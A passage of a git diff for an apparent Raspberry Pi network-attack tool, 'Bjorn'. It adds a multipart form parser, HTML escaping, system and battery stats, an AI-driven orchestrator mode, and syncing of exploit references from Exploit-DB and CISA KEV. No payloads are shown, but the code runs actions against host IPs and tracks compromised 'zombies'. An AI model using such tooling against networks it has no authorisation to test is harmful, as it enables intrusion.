"""Replace image. For type='action': status icon here; character images delegated to CharacterUtils.""" - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) tp = form.getvalue('type'); image_name = self._safe(form.getvalue('image_name') or '') file_item = form['new_image'] if 'new_image' in form else None diff --git a/web_utils/index_utils.py b/web_utils/index_utils.py index bb044fa..2d59c41 100644 --- a/web_utils/index_utils.py +++ b/web_utils/index_utils.py @@ -213,48 +213,32 @@ class IndexUtils: return ts except Exception: pass - ts = int(time.time()) - self._cfg_set("first_init_ts", ts) - return ts - - # ---------------------- Monitoring ressources ---------------------- - def _cpu_pct(self) -> int: - try: - return int(psutil.cpu_percent(interval=0.5)) - except Exception: - return 0 - - def _mem_bytes(self) -> Tuple[int, int]: - try: - vm = psutil.virtual_memory() - return int(vm.total - vm.available), int(vm.total) - except Exception: - try: - info = self._read_text("/proc/meminfo") or "" - def kb(k): - line = next((l for l in info.splitlines() if l.startswith(k + ":")), None) - return int(line.split()[1]) * 1024 if line else 0 - total = kb("MemTotal") - free = kb("MemFree") + kb("Buffers") + kb("Cached") - used = max(0, total - free) - return used, total - except Exception: - return 0, 0 - - def _disk_bytes(self) -> Tuple[int, int]: - try: - usage = psutil.disk_usage("/") - return int(usage.used), int(usage.total) - except Exception: - try: - st = os.statvfs("/") - total = st.f_frsize * st.f_blocks - free = st.f_frsize * st.f_bavail - return int(total - free), int(total) - except Exception: - return 0, 0 + return 0 def _battery_probe(self) -> Dict[str, Any]: + try: + # Prefer runtime battery telemetry (PiSugar/shared_data) when available. + present = bool(getattr(self.shared_data, "battery_present", False)) + last_update = float(getattr(self.shared_data, "battery_last_update", 0.0)) + source = str(getattr(self.shared_data, "battery_source", "shared")) + if last_update > 0 and (present or source == "none"): + level = int(getattr(self.shared_data, "battery_percent", 0)) + charging = bool(getattr(self.shared_data, "battery_is_charging", False)) + state = "Charging" if charging else "Discharging" + if not present: + state = "No battery" + return { + "present": present, + "level_pct": max(0, min(100, level)), + "state": state, + "charging": charging, + "voltage": getattr(self.shared_data, "battery_voltage", None), + "source": source, + "updated_at": last_update, + } + except Exception: + pass + base = "/sys/class/power_supply" try: if not os.path.isdir(base): @@ -414,11 +398,53 @@ class IndexUtils: except Exception: return 0 + def _cpu_pct(self) -> int: + # OPTIMIZATION: Use shared_data from display loop to avoid blocking 0.5s + # Old method: + # try: + # return int(psutil.cpu_percent(interval=0.5)) + # except Exception: + # return 0 + return int(getattr(self.shared_data, "system_cpu", 0)) + + def _mem_bytes(self) -> Tuple[int, int]: + # OPTIMIZATION: Use shared_data from display loop + # Old method: + # try: + # vm = psutil.virtual_memory() + # return int(vm.total - vm.available), int(vm.total) + # except Exception: + # try: + # info = self._read_text("/proc/meminfo") or "" + # def kb(k): + # line = next((l for l in info.splitlines() if l.startswith(k + ":")), None) + # return int(line.split()[1]) * 1024 if line else 0 + # total = kb("MemTotal") + # free = kb("MemFree") + kb("Buffers") + kb("Cached") + # used = max(0, total - free) + # return used, total + # except Exception: + # return 0, 0 + return int(getattr(self.shared_data, "system_mem_used", 0)), int(getattr(self.shared_data, "system_mem_total", 0)) + + def _disk_bytes(self) -> Tuple[int, int]: + try: + usage = psutil.disk_usage("/") + return int(usage.used), int(usage.total) + except Exception: + try: + st = os.statvfs("/") + total = st.f_frsize * st.f_blocks + free = st.f_frsize * st.f_bavail + return int(total - free), int(total) + except Exception: + return 0, 0 + def _alive_hosts_db(self) -> Tuple[int, int]: try: row = self.db.query_one( """ - SELECT + SELECT SUM(CASE WHEN alive=1 THEN 1 ELSE 0 END) AS alive, COUNT(*) AS total FROM hosts @@ -462,7 +488,7 @@ class IndexUtils: def _zombies_count_db(self) -> int: try: - row = self.db.query_one("SELECT COUNT(*) AS c FROM stats WHERE id=1;") + row = self.db.query_one("SELECT COALESCE(zombie_count, 0) AS c FROM stats WHERE id=1;") if row and row.get("c") is not None: return int(row["c"]) except Exception: diff --git a/web_utils/netkb_utils.py b/web_utils/netkb_utils.py index d1fea1e..caf945b 100644 --- a/web_utils/netkb_utils.py +++ b/web_utils/netkb_utils.py @@ -94,20 +94,21 @@ class NetKBUtils: def serve_network_data(self, handler): """Serve network data as HTML table.""" try: - html = [''] + import html as _html + rows = ['
                              ESSIDIPHostnameMAC AddressVendorPorts
                              '] for h in self.shared_data.db.get_all_hosts(): if int(h.get("alive") or 0) != 1: continue - html.append( - f"" - f"" - f"" - f"" - f"" - f"" + rows.append( + f"" + f"" + f"" + f"" + f"" + f"" ) - html.append("
                              ESSIDIPHostnameMAC AddressVendorPorts
                              {h.get('essid', '')}{h.get('ips', '')}{h.get('hostnames', '')}{h.get('mac_address', '')}{h.get('vendor', '')}{h.get('ports', '')}
                              {_html.escape(str(h.get('essid') or ''))}{_html.escape(str(h.get('ips') or ''))}{_html.escape(str(h.get('hostnames') or ''))}{_html.escape(str(h.get('mac_address') or ''))}{_html.escape(str(h.get('vendor') or ''))}{_html.escape(str(h.get('ports') or ''))}
                              ") - table_html = "\n".join(html) + rows.append("") + table_html = "\n".join(rows) handler.send_response(200) handler.send_header("Content-type", "text/html") handler.end_headers() @@ -193,7 +194,7 @@ class NetKBUtils: limit = int((qs.get("limit", ["200"])[0] or 200)) include_superseded = (qs.get("include_superseded", ["true"])[0] or "true").lower() in ("1", "true", "yes", "on") - if not action or mac is None: + if not action or not mac: raise ValueError("missing required parameters: action, mac") db = self.shared_data.db diff --git a/web_utils/orchestrator_utils.py b/web_utils/orchestrator_utils.py index e6ec9ae..3cd3bda 100644 --- a/web_utils/orchestrator_utils.py +++ b/web_utils/orchestrator_utils.py @@ -42,7 +42,7 @@ class OrchestratorUtils: raise Exception(f"No data found for IP: {ip}") action_key = action_instance.action_name - self.logger.info(f"Executing {action_key} on {ip}:{port}") + self.logger.info(f"Executing [MANUAL]: {action_key} on {ip}:{port}") result = action_instance.execute(ip, port, row, action_key) timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") @@ -97,7 +97,10 @@ class OrchestratorUtils: """Start the orchestrator.""" try: bjorn_instance = self.shared_data.bjorn_instance - self.shared_data.manual_mode = False + if getattr(self.shared_data, "ai_mode", False): + self.shared_data.operation_mode = "AI" + else: + self.shared_data.operation_mode = "AUTO" self.shared_data.orchestrator_should_exit = False bjorn_instance.start_orchestrator() return {"status": "success", "message": "Orchestrator starting..."} @@ -109,7 +112,7 @@ class OrchestratorUtils: """Stop the orchestrator.""" try: bjorn_instance = self.shared_data.bjorn_instance - self.shared_data.manual_mode = False + self.shared_data.operation_mode = "MANUAL" bjorn_instance.stop_orchestrator() self.shared_data.orchestrator_should_exit = True return {"status": "success", "message": "Orchestrator stopping..."} diff --git a/web_utils/rl_utils.py b/web_utils/rl_utils.py new file mode 100644 index 0000000..508a7f5 --- /dev/null +++ b/web_utils/rl_utils.py @@ -0,0 +1,194 @@ +import json +from typing import Any, Dict, List + +from ai_engine import get_or_create_ai_engine +from logger import Logger + +logger = Logger(name="rl_utils") + + +class RLUtils: + """ + Backend utilities for RL/AI dashboard endpoints. + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + # Use the process-level singleton to avoid reloading model weights + self.ai_engine = get_or_create_ai_engine(shared_data) + + def get_stats(self, handler) -> None: + """ + API Endpoint: GET /api/rl/stats + """ + try: + ai_stats = self.ai_engine.get_stats() if self.ai_engine else {} + ai_stats = ai_stats if isinstance(ai_stats, dict) else {} + + episodes = self._query_scalar("SELECT COUNT(*) AS c FROM ml_features", key="c", default=0) + recent_activity = self._query_rows( + """ + SELECT action_name AS action, reward, success, timestamp + FROM ml_features + ORDER BY timestamp DESC + LIMIT 5 + """ + ) + + payload = { + "enabled": bool(self.ai_engine is not None), + "episodes": int(episodes), + "epsilon": float(getattr(self.shared_data, "ai_exploration_rate", 0.1)), + "q_table_size": int(ai_stats.get("q_table_size", 0) or 0), + "recent_activity": recent_activity, + "last_loss": 0.0, + "status": self.shared_data.get_status().get("status", "Idle"), + "ai_mode": bool(getattr(self.shared_data, "ai_mode", False)), + "mode": str(getattr(self.shared_data, "operation_mode", "AUTO")), + "manual_mode": bool(getattr(self.shared_data, "manual_mode", False)), + "model_loaded": bool(ai_stats.get("model_loaded", False)), + "model_version": ai_stats.get("model_version"), + "model_trained_at": ai_stats.get("model_trained_at"), + "model_accuracy": ai_stats.get("model_accuracy"), + "training_samples": ai_stats.get("training_samples"), + } + payload.update(self._extract_model_meta()) + + self._send_json(handler, payload) + except Exception as exc: + logger.error(f"Error fetching AI stats: {exc}") + self._send_json(handler, {"error": str(exc)}, 500) + + def get_training_history(self, handler) -> None: + """ + API Endpoint: GET /api/rl/history + """ + try: + rows = self._query_rows( + """ + SELECT id, id AS batch_id, record_count, file_path AS filepath, created_at AS timestamp + FROM ml_export_batches + ORDER BY created_at DESC + LIMIT 50 + """ + ) + self._send_json(handler, {"history": rows}) + except Exception as exc: + logger.error(f"Error fetching training history: {exc}") + self._send_json(handler, {"error": str(exc)}, 500) + + def get_recent_experiences(self, handler) -> None: + """ + API Endpoint: GET /api/rl/experiences + """ + try: + rows = self._query_rows( + """ + SELECT action_name, reward, success, duration_seconds, timestamp, ip_address + FROM ml_features + ORDER BY timestamp DESC + LIMIT 20 + """ + ) + self._send_json(handler, {"experiences": rows}) + except Exception as exc: + logger.error(f"Error fetching experiences: {exc}") + self._send_json(handler, {"error": str(exc)}, 500) + + def set_mode(self, handler, data: Dict) -> Dict: + """ + API Endpoint: POST /api/rl/config + """ + try: + mode = str(data.get("mode", "")).upper() + if mode not in ["MANUAL", "AUTO", "AI"]: + return {"status": "error", "message": f"Invalid mode: {mode}"} + + self.shared_data.operation_mode = mode + + bjorn = getattr(self.shared_data, "bjorn_instance", None) + if bjorn: + if mode == "MANUAL": + bjorn.stop_orchestrator() + else: + bjorn.check_and_start_orchestrator() + else: + logger.warning("Bjorn instance not found in shared_data") + + return { + "status": "ok", + "mode": mode, + "manual_mode": bool(getattr(self.shared_data, "manual_mode", False)), + "ai_mode": bool(getattr(self.shared_data, "ai_mode", False)), + } + except Exception as exc: + logger.error(f"Error setting mode: {exc}") + return {"status": "error", "message": str(exc)} + + # ------------------------------------------------------------------ helpers + + def _extract_model_meta(self) -> Dict[str, Any]: + """ + Returns model metadata useful for abstract visualization only. + """ + default = { + "model_param_count": 0, + "model_layer_count": 0, + "model_feature_count": 0, + } + if not self.ai_engine or not self.ai_engine.model_loaded: + return default + + try: + param_count = 0 + layer_count = 0 + weights = self.ai_engine.model_weights or {} + for name, arr in weights.items(): + shape = getattr(arr, "shape", None) + if shape is not None: + try: + size = int(arr.size) + except Exception: + size = 0 + param_count += max(0, size) + if isinstance(name, str) and name.startswith("w"): + layer_count += 1 + + feature_count = 0 + cfg = self.ai_engine.model_config or {} + arch = cfg.get("architecture", {}) if isinstance(cfg, dict) else {} + feats = arch.get("feature_names", []) if isinstance(arch, dict) else [] + if isinstance(feats, list): + feature_count = len(feats) + + return { + "model_param_count": int(param_count), + "model_layer_count": int(layer_count), + "model_feature_count": int(feature_count), + } + except Exception as exc: + logger.error(f"Failed extracting model meta: {exc}") + return default + + def _query_rows(self, sql: str) -> List[Dict[str, Any]]: + try: + return self.shared_data.db.query(sql) or [] + except Exception as exc: + logger.error(f"DB query failed: {exc}") + return [] + + def _query_scalar(self, sql: str, key: str, default: int = 0) -> int: + rows = self._query_rows(sql) + if not rows: + return default + try: + return int(rows[0].get(key, default) or default) + except Exception: + return default + + def _send_json(self, handler, data, status: int = 200): + handler.send_response(status) + handler.send_header("Content-Type", "application/json") + handler.end_headers() + handler.wfile.write(json.dumps(data).encode("utf-8")) + diff --git a/web_utils/script_utils.py b/web_utils/script_utils.py index 90d1cd1..01fb8eb 100644 --- a/web_utils/script_utils.py +++ b/web_utils/script_utils.py @@ -12,8 +12,85 @@ import threading import importlib.util import ast import html -import cgi from pathlib import Path + + +# --- Multipart form helpers (replaces cgi module removed in Python 3.13) --- +def _parse_header(line): + parts = line.split(';') + key = parts[0].strip() + pdict = {} + for p in parts[1:]: + if '=' in p: + k, v = p.strip().split('=', 1) + pdict[k.strip()] = v.strip().strip('"') + return key, pdict + + +class _FormField: + __slots__ = ('name', 'filename', 'file', 'value') + def __init__(self, name, filename=None, data=b''): + self.name = name + self.filename = filename + if filename: + self.file = BytesIO(data) + self.value = data + else: + self.value = data.decode('utf-8', errors='replace').strip() + self.file = None + + +class _MultipartForm: + """Minimal replacement for _MultipartForm.""" + def __init__(self, fp, headers, environ=None, keep_blank_values=False): + import re as _re + self._fields = {} + ct = headers.get('Content-Type', '') if hasattr(headers, 'get') else '' + _, params = _parse_header(ct) + boundary = params.get('boundary', '').encode() + if hasattr(fp, 'read'): + cl = headers.get('Content-Length') if hasattr(headers, 'get') else None + body = fp.read(int(cl)) if cl else fp.read() + else: + body = fp + for part in body.split(b'--' + boundary)[1:]: + part = part.strip(b'\r\n') + if part == b'--' or not part: + continue + sep = b'\r\n\r\n' if b'\r\n\r\n' in part else b'\n\n' + if sep not in part: + continue + hdr, data = part.split(sep, 1) + hdr_s = hdr.decode('utf-8', errors='replace') + nm = _re.search(r'name="([^"]*)"', hdr_s) + fn = _re.search(r'filename="([^"]*)"', hdr_s) + if not nm: + continue + name = nm.group(1) + filename = fn.group(1) if fn else None + field = _FormField(name, filename, data) + if name in self._fields: + existing = self._fields[name] + if isinstance(existing, list): + existing.append(field) + else: + self._fields[name] = [existing, field] + else: + self._fields[name] = field + + def __contains__(self, key): + return key in self._fields + + def __getitem__(self, key): + return self._fields[key] + + def getvalue(self, key, default=None): + if key not in self._fields: + return default + f = self._fields[key] + if isinstance(f, list): + return [x.value for x in f] + return f.value from typing import Any, Dict, Optional, List from io import BytesIO import logging @@ -439,7 +516,7 @@ class ScriptUtils: def upload_script(self, handler) -> None: """Upload a new script file.""" try: - form = cgi.FieldStorage( + form = _MultipartForm( fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'} @@ -519,7 +596,7 @@ class ScriptUtils: def upload_project(self, handler) -> None: """Upload a project with multiple files.""" try: - form = cgi.FieldStorage( + form = _MultipartForm( fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'} diff --git a/web_utils/system_utils.py b/web_utils/system_utils.py index ae81942..bf82ce4 100644 --- a/web_utils/system_utils.py +++ b/web_utils/system_utils.py @@ -238,11 +238,11 @@ class SystemUtils: return {"status": "error", "message": str(e)} def serve_current_config(self, handler): - """Serve current configuration as JSON.""" + """Serve current configuration as JSON (Optimized via SharedData cache).""" handler.send_response(200) handler.send_header("Content-type", "application/json") handler.end_headers() - handler.wfile.write(json.dumps(self.shared_data.config).encode('utf-8')) + handler.wfile.write(self.shared_data.config_json.encode('utf-8')) def restore_default_config(self, handler): """Restore default configuration.""" @@ -318,17 +318,46 @@ class SystemUtils: finally: self.logger.info("SSE stream closed") + def _parse_progress(self): + """Parse bjorn_progress ('42%', '', 0, '100%') → int 0-100.""" + raw = getattr(self.shared_data, "bjorn_progress", 0) + if isinstance(raw, (int, float)): + return max(0, min(int(raw), 100)) + if isinstance(raw, str): + cleaned = raw.strip().rstrip('%').strip() + if not cleaned: + return 0 + try: + return max(0, min(int(cleaned), 100)) + except (ValueError, TypeError): + return 0 + return 0 + def serve_bjorn_status(self, handler): - """Serve Bjorn status information.""" try: status_data = { "status": self.shared_data.bjorn_orch_status, "status2": self.shared_data.bjorn_status_text2, - "image_path": "/bjorn_status_image?t=" + str(int(time.time())) + + # 🟢 PROGRESS — parse "42%" / "" / 0 safely + "progress": self._parse_progress(), + + "image_path": "/bjorn_status_image?t=" + str(int(time.time())), + "battery": { + "present": bool(getattr(self.shared_data, "battery_present", False)), + "level_pct": int(getattr(self.shared_data, "battery_percent", 0)), + "charging": bool(getattr(self.shared_data, "battery_is_charging", False)), + "voltage": getattr(self.shared_data, "battery_voltage", None), + "source": getattr(self.shared_data, "battery_source", "unknown"), + "updated_at": float(getattr(self.shared_data, "battery_last_update", 0.0)), + }, } handler.send_response(200) handler.send_header("Content-Type", "application/json") + handler.send_header("Cache-Control", "no-cache, no-store, must-revalidate") + handler.send_header("Pragma", "no-cache") + handler.send_header("Expires", "0") handler.end_headers() handler.wfile.write(json.dumps(status_data).encode('utf-8')) except BrokenPipeError: @@ -342,10 +371,12 @@ class SystemUtils: handler.send_response(200) handler.send_header("Content-type", "text/plain") handler.end_headers() - handler.wfile.write(str(self.shared_data.manual_mode).encode('utf-8')) + handler.wfile.write(str(self.shared_data.operation_mode).encode('utf-8')) + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError): + # Client closed the socket before response flush: normal with polling/XHR aborts. + return except Exception as e: - handler.send_response(500) - handler.end_headers() + self.logger.error(f"check_manual_mode failed: {e}") def check_console_autostart(self, handler): """Check console autostart setting.""" @@ -354,6 +385,8 @@ class SystemUtils: handler.send_header("Content-type", "text/plain") handler.end_headers() handler.wfile.write(str(self.shared_data.consoleonwebstart).encode('utf-8')) + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError): + # Client closed the socket before response flush: normal with polling/XHR aborts. + return except Exception as e: - handler.send_response(500) - handler.end_headers() \ No newline at end of file + self.logger.error(f"check_console_autostart failed: {e}") diff --git a/web_utils/vuln_utils.py b/web_utils/vuln_utils.py index 9335795..8830d6d 100644 --- a/web_utils/vuln_utils.py +++ b/web_utils/vuln_utils.py @@ -431,6 +431,390 @@ class VulnUtils: logger.exception("serve_cve_bulk failed") self._send_json(handler, 500, {"status": "error", "message": str(e)}) + def serve_cve_bulk_exploits(self, handler, data: Dict[str, Any]) -> None: + """Bulk exploit search for a list of CVE IDs. + + Called by the frontend "Search All Exploits" button via + POST /api/cve/bulk_exploits { "cves": ["CVE-XXXX-YYYY", ...] } + + For every CVE the method: + 1. Checks the local DB cache first (avoids hammering external APIs on + low-power hardware like the Pi Zero). + 2. If the cached exploit list is empty or the record is stale (>48 h), + attempts to fetch exploit hints from: + - GitHub Advisory / search (ghsa-style refs stored in NVD) + - Rapid7 AttackerKB (public, no key required) + 3. Persists the updated exploit list back to cve_meta so subsequent + calls are served instantly from cache. + + Returns a summary dict so the frontend can update counters. + """ + try: + cves: List[str] = data.get("cves") or [] + if not cves: + self._send_json(handler, 200, {"status": "ok", "processed": 0, "with_exploits": 0}) + return + + # cap per-chunk to avoid timeouts on Pi Zero + cves = [c for c in cves if c and c.upper().startswith("CVE-")][:20] + + db = self.shared_data.db + processed = 0 + with_exploits = 0 + results: Dict[str, Any] = {} + + EXPLOIT_STALE_TTL = 48 * 3600 # re-check after 48 h + + for cve_id in cves: + try: + # --- 1. DB cache lookup --- + row = None + try: + row = db.get_cve_meta(cve_id) + except Exception: + pass + + exploits: List[Dict[str, Any]] = [] + cache_fresh = False + + if row: + cached_exploits = row.get("exploits_json") or [] + if isinstance(cached_exploits, str): + try: + cached_exploits = json.loads(cached_exploits) + except Exception: + cached_exploits = [] + + age = 0 + try: + age = time.time() - int(row.get("updated_at") or 0) + except Exception: + pass + + if cached_exploits and age < EXPLOIT_STALE_TTL: + exploits = cached_exploits + cache_fresh = True + + # --- 2. External fetch if cache is stale / empty --- + if not cache_fresh: + exploits = self._fetch_exploits_for_cve(cve_id) + + # Persist back to DB (merge with any existing meta) + try: + existing = self.cve_enricher.get(cve_id, use_cache_only=True) if self.cve_enricher else {} + patch = { + "cve_id": cve_id, + "description": existing.get("description") or f"{cve_id} vulnerability", + "cvss": existing.get("cvss"), + "references": existing.get("references") or [], + "affected": existing.get("affected") or [], + "exploits": exploits, + "is_kev": existing.get("is_kev", False), + "epss": existing.get("epss"), + "epss_percentile": existing.get("epss_percentile"), + "updated_at": time.time(), + } + db.upsert_cve_meta(patch) + except Exception: + logger.debug("Failed to persist exploits for %s", cve_id, exc_info=True) + + processed += 1 + if exploits: + with_exploits += 1 + + results[cve_id] = { + "exploit_count": len(exploits), + "exploits": exploits, + "from_cache": cache_fresh, + } + + except Exception: + logger.debug("Exploit search failed for %s", cve_id, exc_info=True) + results[cve_id] = {"exploit_count": 0, "exploits": [], "from_cache": False} + + self._send_json(handler, 200, { + "status": "ok", + "processed": processed, + "with_exploits": with_exploits, + "results": results, + }) + + except Exception as e: + logger.exception("serve_cve_bulk_exploits failed") + self._send_json(handler, 500, {"status": "error", "message": str(e)}) + + def _fetch_exploits_for_cve(self, cve_id: str) -> List[Dict[str, Any]]: + """Look up exploit data from the local exploit_feeds table. + No external API calls — populated by serve_feed_sync(). + """ + try: + rows = self.shared_data.db.query( + """ + SELECT source, edb_id, title, url, published, platform, type, verified + FROM exploit_feeds + WHERE cve_id = ? + ORDER BY verified DESC, published DESC + LIMIT 10 + """, + (cve_id,), + ) + return [ + { + "source": r.get("source", ""), + "edb_id": r.get("edb_id"), + "description": r.get("title", ""), + "url": r.get("url", ""), + "published": r.get("published", ""), + "platform": r.get("platform", ""), + "type": r.get("type", ""), + "verified": bool(r.get("verified")), + } + for r in (rows or []) + ] + except Exception: + logger.debug("Local exploit lookup failed for %s", cve_id, exc_info=True) + return [] + + # ------------------------------------------------------------------ + # Feed sync — called by POST /api/feeds/sync + # ------------------------------------------------------------------ + + # Schema created lazily on first sync + _FEED_SCHEMA = """ + CREATE TABLE IF NOT EXISTS exploit_feeds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + source TEXT NOT NULL, + edb_id TEXT, + title TEXT, + url TEXT, + published TEXT, + platform TEXT, + type TEXT, + verified INTEGER DEFAULT 0, + UNIQUE(cve_id, source, edb_id) + ); + CREATE INDEX IF NOT EXISTS idx_ef_cve ON exploit_feeds(cve_id); + + CREATE TABLE IF NOT EXISTS feed_sync_state ( + feed TEXT PRIMARY KEY, + last_synced INTEGER DEFAULT 0, + record_count INTEGER DEFAULT 0, + status TEXT DEFAULT 'never' + ); + """ + + def _ensure_feed_schema(self) -> None: + for stmt in self._FEED_SCHEMA.strip().split(";"): + stmt = stmt.strip() + if stmt: + try: + self.shared_data.db.execute(stmt) + except Exception: + pass + + def _set_sync_state(self, feed: str, count: int, status: str) -> None: + try: + self.shared_data.db.execute( + """ + INSERT INTO feed_sync_state (feed, last_synced, record_count, status) + VALUES (?, ?, ?, ?) + ON CONFLICT(feed) DO UPDATE SET + last_synced = excluded.last_synced, + record_count = excluded.record_count, + status = excluded.status + """, + (feed, int(time.time()), count, status), + ) + except Exception: + logger.debug("Failed to update feed_sync_state for %s", feed, exc_info=True) + + def serve_feed_sync(self, handler) -> None: + """POST /api/feeds/sync — download CISA KEV + Exploit-DB + EPSS into local DB.""" + self._ensure_feed_schema() + results: Dict[str, Any] = {} + + # ── 1. CISA KEV ──────────────────────────────────────────────── + try: + kev_count = self._sync_cisa_kev() + self._set_sync_state("cisa_kev", kev_count, "ok") + results["cisa_kev"] = {"status": "ok", "count": kev_count} + logger.info("CISA KEV synced — %d records", kev_count) + except Exception as e: + self._set_sync_state("cisa_kev", 0, "error") + results["cisa_kev"] = {"status": "error", "message": str(e)} + logger.exception("CISA KEV sync failed") + + # ── 2. Exploit-DB CSV ─────────────────────────────────────────── + try: + edb_count = self._sync_exploitdb() + self._set_sync_state("exploitdb", edb_count, "ok") + results["exploitdb"] = {"status": "ok", "count": edb_count} + logger.info("Exploit-DB synced — %d records", edb_count) + except Exception as e: + self._set_sync_state("exploitdb", 0, "error") + results["exploitdb"] = {"status": "error", "message": str(e)} + logger.exception("Exploit-DB sync failed") + + # ── 3. EPSS scores ────────────────────────────────────────────── + try: + epss_count = self._sync_epss() + self._set_sync_state("epss", epss_count, "ok") + results["epss"] = {"status": "ok", "count": epss_count} + logger.info("EPSS synced — %d records", epss_count) + except Exception as e: + self._set_sync_state("epss", 0, "error") + results["epss"] = {"status": "error", "message": str(e)} + logger.exception("EPSS sync failed") + + any_ok = any(v.get("status") == "ok" for v in results.values()) + self._send_json(handler, 200, { + "status": "ok" if any_ok else "error", + "feeds": results, + "synced_at": int(time.time()), + }) + + def serve_feed_status(self, handler) -> None: + """GET /api/feeds/status — return last sync timestamps and counts.""" + try: + self._ensure_feed_schema() + rows = self.shared_data.db.query( + "SELECT feed, last_synced, record_count, status FROM feed_sync_state" + ) or [] + state = {r["feed"]: { + "last_synced": r["last_synced"], + "record_count": r["record_count"], + "status": r["status"], + } for r in rows} + + # total exploits in local DB + try: + total_row = self.shared_data.db.query_one( + "SELECT COUNT(*) as n FROM exploit_feeds" + ) + total = total_row["n"] if total_row else 0 + except Exception: + total = 0 + + self._send_json(handler, 200, {"feeds": state, "total_exploits": total}) + except Exception as e: + logger.exception("serve_feed_status failed") + self._send_json(handler, 500, {"status": "error", "message": str(e)}) + + # ── Feed downloaders ──────────────────────────────────────────────── + + def _sync_cisa_kev(self) -> int: + import urllib.request, json + url = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" + req = urllib.request.Request(url, headers={"User-Agent": "BjornVulnScanner/1.0"}) + with urllib.request.urlopen(req, timeout=30) as r: + data = json.loads(r.read().decode("utf-8")) + vulns = data.get("vulnerabilities") or [] + count = 0 + for v in vulns: + cve_id = (v.get("cveID") or "").strip() + if not cve_id: + continue + try: + self.shared_data.db.execute( + """ + INSERT OR IGNORE INTO exploit_feeds + (cve_id, source, title, url, published, type, verified) + VALUES (?, 'CISA KEV', ?, ?, ?, 'known-exploited', 1) + """, + ( + cve_id, + (v.get("vulnerabilityName") or cve_id)[:255], + f"https://www.cisa.gov/known-exploited-vulnerabilities-catalog", + v.get("dateAdded") or "", + ), + ) + # also flag cve_meta.is_kev + try: + self.shared_data.db.execute( + "UPDATE cve_meta SET is_kev = 1 WHERE cve_id = ?", (cve_id,) + ) + except Exception: + pass + count += 1 + except Exception: + pass + return count + + def _sync_exploitdb(self) -> int: + import urllib.request, csv, io + url = "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv" + req = urllib.request.Request(url, headers={"User-Agent": "BjornVulnScanner/1.0"}) + with urllib.request.urlopen(req, timeout=60) as r: + content = r.read().decode("utf-8", errors="replace") + reader = csv.DictReader(io.StringIO(content)) + count = 0 + for row in reader: + # exploit-db CSV columns: id, file, description, date_published, + # author, type, platform, port, date_added, verified, codes, tags, aliases, screenshot_url, application_url, source_url + codes = row.get("codes") or "" + # 'codes' field contains semicolon-separated CVE IDs + cve_ids = [c.strip() for c in codes.split(";") if c.strip().upper().startswith("CVE-")] + if not cve_ids: + continue + edb_id = (row.get("id") or "").strip() + title = (row.get("description") or "")[:255] + published = (row.get("date_published") or row.get("date_added") or "").strip() + platform = (row.get("platform") or "").strip() + etype = (row.get("type") or "").strip() + verified = 1 if str(row.get("verified") or "0").strip() == "1" else 0 + url_path = (row.get("file") or "").strip() + edb_url = f"https://www.exploit-db.com/exploits/{edb_id}" if edb_id else "" + for cve_id in cve_ids: + try: + self.shared_data.db.execute( + """ + INSERT OR IGNORE INTO exploit_feeds + (cve_id, source, edb_id, title, url, published, platform, type, verified) + VALUES (?, 'Exploit-DB', ?, ?, ?, ?, ?, ?, ?) + """, + (cve_id, edb_id, title, edb_url, published, platform, etype, verified), + ) + count += 1 + except Exception: + pass + return count + + def _sync_epss(self) -> int: + import urllib.request, gzip, csv, io + url = "https://epss.cyentia.com/epss_scores-current.csv.gz" + req = urllib.request.Request(url, headers={"User-Agent": "BjornVulnScanner/1.0"}) + count = 0 + with urllib.request.urlopen(req, timeout=60) as r: + with gzip.GzipFile(fileobj=r) as gz: + wrapper = io.TextIOWrapper(gz, encoding="utf-8", errors="replace") + # skip leading comment lines (#model_version:...) + reader = csv.DictReader( + (line for line in wrapper if not line.startswith("#")) + ) + for row in reader: + cve_id = (row.get("cve") or "").strip() + if not cve_id: + continue + try: + epss = float(row.get("epss") or 0) + pct = float(row.get("percentile") or 0) + self.shared_data.db.execute( + """ + INSERT INTO cve_meta (cve_id, epss, epss_percentile, updated_at) + VALUES (?, ?, ?, ?) + ON CONFLICT(cve_id) DO UPDATE SET + epss = excluded.epss, + epss_percentile = excluded.epss_percentile, + updated_at = excluded.updated_at + """, + (cve_id, epss, pct, int(time.time())), + ) + count += 1 + except Exception: + pass + return count + def serve_exploitdb_by_cve(self, handler, cve_id: str) -> None: """Get Exploit-DB entries for a CVE.""" try: @@ -580,4 +964,4 @@ class VulnUtils: except Exception as e: logger.exception("serve_vulns_stats failed") - self._send_json(handler, 500, {"error": str(e)}) + self._send_json(handler, 500, {"error": str(e)}) \ No newline at end of file diff --git a/webapp.py b/webapp.py index 0b894fa..89ce81d 100644 --- a/webapp.py +++ b/webapp.py @@ -1,6 +1,7 @@ """ Web Application Server for Bjorn Handles HTTP requests with optional authentication, gzip compression, and routing. +OPTIMIZED FOR PI ZERO 2: Timeouts, Daemon Threads, Memory Protection, and Log Filtering. """ import gzip @@ -30,257 +31,303 @@ from utils import WebUtils logger = Logger(name="webapp.py", level=logging.DEBUG) favicon_path = os.path.join(shared_data.web_dir, '/images/favicon.ico') +# Security limit to prevent RAM saturation on Pi Zero 2 +MAX_POST_SIZE = 5 * 1024 * 1024 # 5 MB max # ============================================================================ # REQUEST HANDLER # ============================================================================ +# Global WebUtils instance to prevent re-initialization per request +web_utils_instance = WebUtils(shared_data) + class CustomHandler(http.server.SimpleHTTPRequestHandler): """ Custom HTTP request handler with authentication, compression, and routing. - Refactored to use dynamic routing maps. + 